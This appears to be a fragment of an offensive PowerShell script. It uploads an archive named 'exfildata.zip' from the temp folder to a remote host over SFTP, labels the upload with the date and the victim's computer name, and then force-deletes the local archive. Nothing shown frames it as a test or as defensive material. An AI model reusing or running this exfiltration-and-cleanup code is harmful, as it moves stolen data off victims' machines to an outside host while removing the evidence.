```powershell
 $s = New-SFTPSession -ComputerName $h -Credential $Credential -Port $port -Force;
 if (Test-path "$($env:TEMP)exfildata.zip") {
  Set-SFTPFile -SFTPSession $s -LocalFile "$($env:TEMP)exfildata.zip" -RemotePath "exfil_$(Get-Date)_$($env:COMPUTERNAME).zip";
  Remove-Item -Path "$($env:TEMP)exfildata.zip" -Force;
 }
```